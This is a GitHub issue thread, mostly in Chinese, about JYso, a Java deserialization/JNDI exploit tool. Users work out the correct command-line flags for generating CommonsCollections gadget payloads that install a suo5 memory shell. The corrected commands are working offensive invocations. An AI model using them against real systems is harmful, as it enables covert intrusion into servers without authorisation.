search

qi4L / JYso

JNDIExploit or a ysoserial.
GNU General Public License v3.0
1.56k stars 188 forks source link

本地yso无法生成文件 #12

Closed ssrsec closed 1 year ago

ssrsec commented 1 year ago

java -jar JYso-3.4.jar -hk "aaa" -hv "bbb" -u "/*" -g CommonsCollections6 -p EX-MS-TSMSFromThread-suo5 -f cc6-suo5.bin

没有生成文件

qi4L commented 1 year ago

参数少了，java -jar JYso-3.4.jar -yso -hk "aaa" -hv "bbb" -u "/*" -g CommonsCollections6 -p EX-MS-TSMSFromThread-suo5 -f cc6-suo5.bin

ssrsec commented 1 year ago

java -jar JYso-3.4.jar -yso -hk "aaa" -hv "bbb" -u "/*" -g CommonsCollections6 -p EX-MS-TSMSFromThread-suo5 -f cc6-suo5.bin

ssr@localhost Downloads % java -jar JYso-3.4.jar -yso -g CommonsCollections6 -p EX-MS-TSMSFromThread-suo5 -hk "aaa" -hv "bbb" -u "/*" -f cc6-suo5.bin
[*] Parameter input error, please use -h for more information
qi4L commented 1 year ago

这个是我说明文件有误，等着我改改。

qi4L commented 1 year ago

试试这个java -jar JYso-3.4.jar -yso 1 -g CommonsCollectionsK1 -p EX-MS-TSMSFromThreadS-suo5 -hk "aaa" -hv "bbb" -u "/*" -f cc6-suo5.ser

qi4L commented 1 year ago

对于用了Transformer的，不能直接EX-MS

ViCrack commented 9 months ago

@qi4L

刚发现 -yso 参数后面还得带一个参数，要不然没生效

image

文档上写的不准确

-yso 是一个带参的参数，而不是占位参数

qi4L commented 9 months ago

已改